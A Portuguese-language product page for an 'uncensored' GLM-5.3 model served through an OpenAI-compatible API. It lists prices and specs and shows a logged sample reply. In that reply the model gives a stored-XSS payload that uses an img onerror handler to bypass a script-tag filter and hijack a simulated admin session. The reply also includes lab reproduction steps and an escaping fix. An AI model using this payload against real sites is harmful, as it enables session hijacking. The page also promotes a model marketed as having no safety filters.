GLM-5.3 Uncensored

glm-5.3-uncensored

Disponível no chat do navegador e pela API compatível com OpenAI.

Abrir chat Exemplo de API

Preços dos tokens

Preços em USD por 1 milhão de tokens

Entrada / 1M: 0,350 US$
Em cache / 1M: 0,100 US$
Saída / 1M: 0,350 US$

Especificações do modelo

Zhipu AI · sem censura

Janela de contexto: 1 000 000 tokens
Saída máxima: 65 536 tokens
Capacidades: Texto · Streaming · Chamadas de ferramentas

Desempenho medido

Tokens/s médios: ≈ 33,7
TTFT estimado: 2,4 s
Indicador de disponibilidade: 99,2%

Atualizado 01/11/26, 20:36:37 UTC · Sucesso do fornecedor em 24 h · Um traço indica que não há medições atuais suficientes.

Vê a resposta do modelo

Resposta real a uma pergunta sobre XSS armazenado num laboratório local. A pergunta e a resposta estão em inglês. A saída é texto; nenhum código de exemplo é executado aqui.

GLM-5.3 Uncensored

Resposta registada · 28/10/2026, 19:07 UTC

Você

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

GLM-5.3 Uncensored

Excerto selecionado da resposta registada. Algumas partes foram omitidas.

Malicious comment (submit via the form):

<img src=x onerror="fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED IN THE LAB',credentials:'same-origin'})">

Why it works: The filter strips <script> tags, but <img> with onerror fires when the broken image loads. The admin's cookie (set by the page) is automatically sent with fetch via credentials: 'same-origin', authenticating the POST. Reproduce:

node server.js
# Browser: http://localhost:3000
# Paste the malicious comment, submit
# Simulated admin visits /admin
# Payload fires → POST /admin/banner with fake session cookie
# Server console shows: [ADMIN] Banner set to: OWNED IN THE LAB

Fix — safe rendering:

// Replace raw interpolation with escaping:
const esc = s => s.replace(/[&<>"']/g, c =>
  ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c]));

const rendered = comments.map(c => `<li>${esc(c)}</li>`).join('');

Escaping at render-time neutralizes event handlers, script tags, and all other injection vectors. Token-based session validation (not just cookie presence) is the complementary server-side fix.

Exemplo registado, não é um chat em direto.Abrir chat

Usa este modelo pela API

Cria uma chave API e adiciona créditos. Define UNCENSOREDLABS_API_KEY no ambiente. Instala o pacote openai para JavaScript ou Python.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "glm-5.3-uncensored",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'

Compatível com OpenAI. Altere a sua URL base.Ler o início rápido

Limitações e faturação

Sem filtros não garante uma resposta a todas as perguntas. As respostas podem estar erradas, incompletas ou ser recusadas.
A saída máxima é o limite do serviço UncensoredLabs. Gerações longas e tarefas com contexto completo não foram avaliadas em benchmarks.
Créditos são reservados para a saída solicitada e um limite conservador de entrada; modelos sem contagem verificada por tamanho da solicitação usam o contexto completo. A cobrança final usa consumo verificado; solicitações incertas podem manter a reserva.
O prazo é de dez minutos. Aplicam-se limites de frequência, simultaneidade e disponibilidade do fornecedor; os erros incluem 429 com Retry-After.
A UncensoredLabs não guarda perguntas nem respostas nos seus servidores. Aplica-se a política de retenção do fornecedor de inferência.

Erros e limites de frequência Como funciona a cobrança Privacidade